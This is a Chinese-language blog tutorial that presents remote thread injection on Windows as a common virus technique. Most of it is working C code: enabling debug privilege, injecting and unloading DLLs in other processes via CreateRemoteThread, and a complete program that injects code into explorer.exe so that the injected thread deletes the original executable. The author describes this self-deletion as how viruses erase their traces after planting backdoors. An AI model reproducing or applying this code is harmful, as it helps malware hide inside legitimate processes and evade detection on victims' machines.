病毒常用技术之远程线程 插入技术

病毒常用技术之远程线程 插入技术 

 

      今天真是一个令人倒霉的天气的。

      今天早上早早的爬起来,本想趁着今天的好天气好心情,写上一篇好的技术文章。不想该死的CNBLOG的管理员败坏了我的好兴致。我费了九牛二虎之力,用了 近两个小时好不容易把文章写好了,提交的时候却提示错误(没有细看也不知是什么鸟什错误),我就怕文章丢失赶紧后退回来却发现标题和关键字还在,而我辛辛 苦苦写的文章却被这里编辑日志内容几个字所替代。咳!倒霉的事情不说了......。下面接着写我的文章。

     现在有一个项目需 要承包给其他公司去完成,一般承包给你个公司就够了,可是如果项目比较大可能就需要承包给多个公司同时完成。公司只是一个组织,它不能够完成我们的项目, 项目的具体实施要交给公司所属的程序员来完成。一个公司下面最少要有一名员工,不然工商局是不会给注册的,如果公司注销公司所属的员工也就不会存在。在我 们的计算机里,项目就好比是我们通过双击一个可执行文件来运行一个程序,进程是公司,线程就是公司里面的员工。

     病毒为了实现自己不注册公司也要完成自己所需的工作,方法就是在其他公司面安插一名自己的奸细,吃别人的拿别人而却替自己工作。这就是病毒较为常用的隐藏进程技术。

     这里要用到Microsoft提供的一个API函数CreateRemoteThread,该函数声明如下:

 HANDLE CreateRemoteThread(

  HANDLE hProcess, //远程进程句柄

  LPSECURITY_ATTRIBUTES lpThreadAttributes,//安全属性指针,NULL表示使用默认安全属性

  SIZE_T dwStackSize,   //堆栈大小,0表示默认

  LPTHREAD_START_ROUTINE lpStartAddress, //线程函数地址

  LPVOID lpParameter,   //线程函数的参数地址

  DWORD dwCreationFlags,    //标志,一般为0

  LPDWORD lpThreadId //成功后返回的线程ID

 );

     由于我们安插的奸细不听那倒霉公司的指挥,需要我们给他安排任务,但是这个任务我们怎么才能分配给他呢?

  最好的做法就是把任务代码放入一动态连接库文件中,使用CreateRemoteThread函数把这个动态连接库装载进目标进程,由动态连接库的 DllMain函数响应动态连接库被装载事件来执行我们的任务,不过这样操作会在目标进程中多出一个模块来,那么有没有一种方法即让目标进程运行我们的任 务又不使用动态连接库文件呢?答案是肯定的,那就是把任务代码也插入到目标进程空间中,由于执行体在两个进程中的位置不同,线程函数中的变量、字符串映射 入进程空间的位置也不定相同,这就需要线程函数对其所调用的函数进行重新定位,将所须用到的字符串等信息写入目标进程中,将在目标进程中存放字符串等信息 的地址作为参数传递给线程函数,WINDOWS中提供的API函数GetProcAddress可是实现获取API函数地址的功能。以下对各种实现方法进 行阐述。

 一、使用远程线程插入技术为进程插入和删除模块

 具体操作步骤如下:

 1. 提升当前进程的操作权限,使其有权限对其他进程进行操作。

     HANDLE hToken;

     OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken );

     TOKEN_PRIVILEGES tp;

     LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid );

     tp.PrivilegeCount = 1;

     tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

     AdjustTokenPrivileges( hToken, FALSE, &tp, sizeof( TOKEN_PRIVILEGES ), NULL, NULL );

  

 2. 取得目标 Process ID (这个方法有很多,你可以使用 FindWindow+GetWindowProcessID 或则使用PSAPI中的函数,或则使用其他的终止只要找一个下手的目标就可以

 3. 使用OpenProcess 打开进程并设定对进程的操作权限。

     HANDLE hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, Pid );

     if(hProcess==NULL)

     {

         MessageBox(TEXT("打开进程出错"),TEXT("插入模块"),MB_OK|MB_ICONERROR);

         return FALSE;

     }

  

 4. 使用 VirtualAllocEx 在目标行程内要求一块可读写的空间,用来存放要装入DLL的名字。

     LPVOID lpBuf = VirtualAllocEx( hProcess, NULL, dwSize*sizeof(TCHAR), MEM_COMMIT, PAGE_READWRITE );

     if ( NULL == lpBuf )

     {

         MessageBox(TEXT("分配空间失败"),TEXT("插入模块"),MB_OK|MB_ICONERROR);

         CloseHandle( hProcess );

         return FALSE;

     }

 5. 使用 WriteProcessMemory DLL名字写进刚刚要求的空间中。

     if ( WriteProcessMemory( hProcess, lpBuf, (LPVOID)DllPathName, dwSize, &dwWritten ) )

     {

         if ( dwWritten != dwSize )

         {

             VirtualFreeEx( hProcess, lpBuf, dwSize, MEM_DECOMMIT );

             CloseHandle( hProcess );

             MessageBox(TEXT("写入失败,写入字节大小不符"),TEXT("插入模块"),MB_OK|MB_ICONERROR);

             return FALSE;

         }           

     }

     else

     {

         CloseHandle( hProcess );

         VirtualFreeEx( hProcess, lpBuf, dwSize, MEM_DECOMMIT );

         MessageBox(TEXT("写入失败"),TEXT("插入模块"),MB_OK|MB_ICONERROR);

         return FALSE;

     }

 6. 准备完毕,使用CreateRemoteThread 开始创建远程线程。

 HANDLE hThread = CreateRemoteThread( hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pFunc, lpBuf, 0, &dwID );

 由于我们现在讲的是使用远程线程技术装载DLL,因此pFunc的值应为LoadLibrary函数的地址。

  

 7. WaitForSingleObject( hThread, INFINITE ); (等待 Thread 结束

  

 8. VirtualFreeEx( hProcess, lpBuf, dwSize, MEM_DECOMMIT ); 回收刚刚申请的空间 

  

 9. CloseHandle( hThread );关闭线程句柄  

     CloseHandle( hProcess );关闭进程句柄。

     这样我们便在目标进程中插入了一个模块,在目标进程中卸载一个模块的操作步骤和这个基本一致。前5个步骤与插入模块的时候完全一致,这里不再累述,下面从第六个步骤开始叙述:

 6. 准备完毕,使用CreateRemoteThread 开始创建远程线程。

 HANDLE hThread = CreateRemoteThread( hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pFunc, lpBuf, 0, &dwID );

 由于我们现在讲的是使用远程线程技术卸载DLL,因此我们要提前获取待删除模块在目标进程中的模块句柄,pFunc的值应为GetModuleHandle函数的地址。

 7. WaitForSingleObject( hThread, INFINITE ); (等待 Thread 结束

  

 8.使用GetExitCodeThread(hThread,&hMod);获取线程退出代码,也就是GetModuleHandle函数的返回值,待删除模块句柄保存在hMod中。

  

 9.VirtualFreeEx( hProcess, lpBuf, dwSize, MEM_DECOMMIT ); 回收刚刚申请的空间 

     CloseHandle( hThread );关闭线程句柄  

 10. 再次调用CreateRemoteThread函数

     pFunc = FreeLibrary;

     hThread = CreateRemoteThread( hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pFunc,(LPVOID) hMod, 0, &dwID );

     注意此时pFunc的值是FreeLibrary函数的地址,线程参数改为我们刚刚获取的待删除模块句柄hMod

 11.收尾工作

     CloseHandle( hThread );关闭线程句柄  

     CloseHandle( hProcess );关闭进程句柄。

 演示程序:进程模块管理器

 二、使用远程线程插入技术实现程序删除自身功能

 可执行程序自删除技术是病毒惯用的技术,其在做好对你计算机的修改,安插后门的工作后为了擦除自己的痕迹通常要把自己删除,当然自删除的方法也有很多种,下面我们讲的是使用远程线程技术来达到自删除的目的。

 具体代码如下:

 #include "psapi.h"

 #pragma comment(lib,"psapi")

 typedef DWORD       (WINAPI* MESSAGEBOXA)(HWND hWnd,LPCTSTR,LPCTSTR IpCaption,UINT UType);

 typedef DWORD       (WINAPI* MESSAGEBOXW)(HWND hWnd,LPWSTR,LPWSTR IpCaption,UINT UType);

 typedef VOID        (WINAPI* SLEEP)(DWORD);

 typedef HINSTANCE   (WINAPI *LOADLIBRARYA)(LPCTSTR);

 typedef FARPROC     (WINAPI *GETPROCADDRESS)(HMODULE, LPCSTR);

 typedef HINSTANCE   (WINAPI *GETMODULEHANDLEA)(LPCTSTR);

 typedef DWORD       (WINAPI *DELETEFILEA)(char*);

  

 typedef struct _RemoteParam{ 

   DWORD dwLoadLibrary;

   DWORD dwFreeLibrary;

   DWORD dwGetProcAddress;

   DWORD dwDeleteFileA;

   DWORD dwSleep;

   DWORD dwMessageBoxA;

   DWORD dwMessageBoxW;

   char strUser32[32];

   char strKernel[32];

   char strSleep[32];

   char strMessageBoxA[32];

   char strDeleteFileA[32];

   char strFilePath[255];

   USHORT strFilePathW[255];

 }RemoteParam;

  

 static void DelFileThread(LPVOID lparam)

 {

     USHORT tt[10];

     USHORT *t=tt;

     *(t++)=L'';

     *(t++)=L'';

     *(t++)=L'';

     *(t++)=L'';

     *(t++)=L'';

     *(t++)=L'';

     *(t++)=L'';

     *(t++)=L'';

     *(t++)=L'';

     *t='/0';

  

     RemoteParam *pParam=(RemoteParam* )lparam;

     SLEEP mySleep=(SLEEP)pParam->dwSleep;

     MESSAGEBOXW myMessageBoxW=(MESSAGEBOXW)pParam->dwMessageBoxW;

     DELETEFILEA myDeleteFileA=(DELETEFILEA)pParam->dwDeleteFileA;

  

     mySleep(1000);

  

     myMessageBoxW(NULL,(USHORT*)pParam->strFilePathW,tt,0);

  

     myDeleteFileA(pParam->strFilePath);

 }

 static int test()

 {

     return 0;

 }

  

 void FillParam(RemoteParam& Param)

 {

     HINSTANCE hKernel,hUser;

     hKernel=LoadLibrary("kernel32.dll");

     hUser=LoadLibrary("User32.dll");

  

     Param.dwDeleteFileA = (DWORD)GetProcAddress(hKernel,"DeleteFileA");

     GetModuleFileName(NULL,Param.strFilePath,255);

     GetModuleFileNameW(NULL,Param.strFilePathW,510);

     Param.dwSleep = (DWORD) GetProcAddress(hKernel,"Sleep");

     Param.dwMessageBoxW=(DWORD)GetProcAddress(hUser,"MessageBoxW");

     Param.dwMessageBoxA=(DWORD)GetProcAddress(hUser,"MessageBoxA");

 }

 bool Init();

 DWORD GetPidForPName(LPTSTR pName);

 LPTSTR GetPNameForPid(DWORD Pid,LPTSTR PNameBuf,DWORD BufSize);

 BOOL InsertFunc(DWORD Pid, DWORD pFun,DWORD FunSize, DWORD lParam, DWORD ParamSize);

 int APIENTRY WinMain(HINSTANCE hInstance,

                      HINSTANCE hPrevInstance,

                      LPSTR     lpCmdLine,

                      int       nCmdShow)

 {

     RemoteParam lParam;

     FillParam(lParam);

     if(!Init())

     {

     MessageBox(NULL,TEXT("提升权限失败"),TEXT("错误"),MB_OK|MB_ICONERROR);

     }

     DWORD pid=GetPidForPName(TEXT("EXPLORER.EXE"));

     DWORD dwFuncSize=0;

     dwFuncSize=(DWORD)test;

     dwFuncSize=(DWORD)DelFileThread;

     dwFuncSize=(DWORD)test-(DWORD)DelFileThread;

     BOOL bRet = InsertFunc(pid,(DWORD)DelFileThread,dwFuncSize,(DWORD)&lParam,sizeof(RemoteParam));

  

     return 0;

 }

 bool Init()

 {

     HANDLE hToken;

     if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&hToken))

     return false;

     

     TOKEN_PRIVILEGES tp;

     tp.PrivilegeCount = 1;

     if(!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid))

     return false;

     tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

     if(!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL))

     return false;

     CloseHandle(hToken);

  

     return true;

 }

  

 DWORD GetPidForPName(LPTSTR pName)

 {

     DWORD pPid[256];

     DWORD num;

     TCHAR PNameBuf[65]={0};

     EnumProcesses(pPid,sizeof(pPid),&num);  

     num/=sizeof(DWORD);

     for(DWORD i=0;i<num;i++)

     {

     if(GetPNameForPid(pPid[i],PNameBuf,sizeof(PNameBuf))==NULL)

         continue;

     if(stricmp(PNameBuf,pName)==0)

         return pPid[i];

     }

     return 0;

 }

 LPTSTR GetPNameForPid(DWORD Pid,LPTSTR PNameBuf,DWORD BufSize)

 {

     HMODULE hMod;

     DWORD mnum;

     HANDLE hProcess=OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,FALSE,Pid);

     if(!EnumProcessModules(hProcess,&hMod,4,&mnum))

     return NULL;

     GetModuleBaseName(hProcess,hMod,PNameBuf,BufSize);

  

     return PNameBuf;

 }

 BOOL InsertFunc(DWORD Pid, DWORD pFun,DWORD FunSize, DWORD lParam, DWORD ParamSize)

 {

     HANDLE hProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, Pid );//PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE

     if(hProcess==NULL)

     {

     MessageBox(NULL,TEXT("打开进程出错"),TEXT("插入模块"),MB_OK|MB_ICONERROR);

     return FALSE;

     }

     DWORD dwWritten;

     LPVOID lpFunBuf = VirtualAllocEx( hProcess, NULL, FunSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE );

     if ( NULL == lpFunBuf )

     {

     MessageBox(NULL,TEXT("为函数分配空间失败"),TEXT("插入模块"),MB_OK|MB_ICONERROR);

     CloseHandle( hProcess );

     return FALSE;

     }

     LPVOID lpParBuf = VirtualAllocEx( hProcess, NULL, ParamSize, MEM_COMMIT, PAGE_READWRITE );

     if ( NULL == lpParBuf )

     {

     MessageBox(NULL,TEXT("为参数分配空间失败"),TEXT("插入模块"),MB_OK|MB_ICONERROR);

     CloseHandle( hProcess );

     return FALSE;

     }

  

     if ( WriteProcessMemory( hProcess, lpFunBuf, (LPVOID)pFun, FunSize, &dwWritten ) )

     {

     if ( dwWritten != FunSize )

     {

         VirtualFreeEx( hProcess, lpFunBuf, FunSize, MEM_DECOMMIT );

         CloseHandle( hProcess );

         MessageBox(NULL,TEXT("写入函数失败,写入字节大小不符"),TEXT("插入模块"),MB_OK|MB_ICONERROR);

         return FALSE;

     }           

     }

     else

     {

     CloseHandle( hProcess );

     VirtualFreeEx( hProcess, lpFunBuf, FunSize, MEM_DECOMMIT );

     MessageBox(NULL,TEXT("写入失败"),TEXT("插入模块"),MB_OK|MB_ICONERROR);

     return FALSE;

     }

     if ( WriteProcessMemory( hProcess, lpParBuf, (LPVOID)lParam, ParamSize, &dwWritten ) )

     {

     if ( dwWritten != ParamSize )

     {

         VirtualFreeEx( hProcess, lpParBuf, ParamSize, MEM_DECOMMIT );

         CloseHandle( hProcess );

         MessageBox(NULL,TEXT("写入参数失败,写入字节大小不符"),TEXT("插入模块"),MB_OK|MB_ICONERROR);

         return FALSE;

     }           

     }

     else

     {

     CloseHandle( hProcess );

     VirtualFreeEx( hProcess, lpParBuf, ParamSize, MEM_DECOMMIT );

     MessageBox(NULL,TEXT("写入失败"),TEXT("插入模块"),MB_OK|MB_ICONERROR);

     return FALSE;

     }

  

     DWORD dwID;

     HANDLE hThread = CreateRemoteThread( hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)lpFunBuf, lpParBuf, 0, &dwID );

 //  WaitForSingleObject( hThread, INFINITE );

     //注意这里,一定不能使用这句,因为这句只有等到远程线程结束才会返回,而我们要在远程线程中删除自己,如果我门的主进程还没有退出,删除文件会失败的;

 //  VirtualFreeEx( hProcess, lpFunBuf, FunSize, MEM_DECOMMIT );

     //这个和下面那句也不能要,因为这个时候,远程线程还没有退出而我们把它们的空间释放掉的话,就会造成被插入进程的崩溃。

 //  VirtualFreeEx( hProcess, lpParBuf, ParamSize, MEM_DECOMMIT );

     CloseHandle( hThread );

     CloseHandle(hProcess);

  

     return TRUE;

 }

 

 

 

 

 

 

 

 

 

你可能感兴趣的:(thread,Microsoft,null,dll,token,winapi)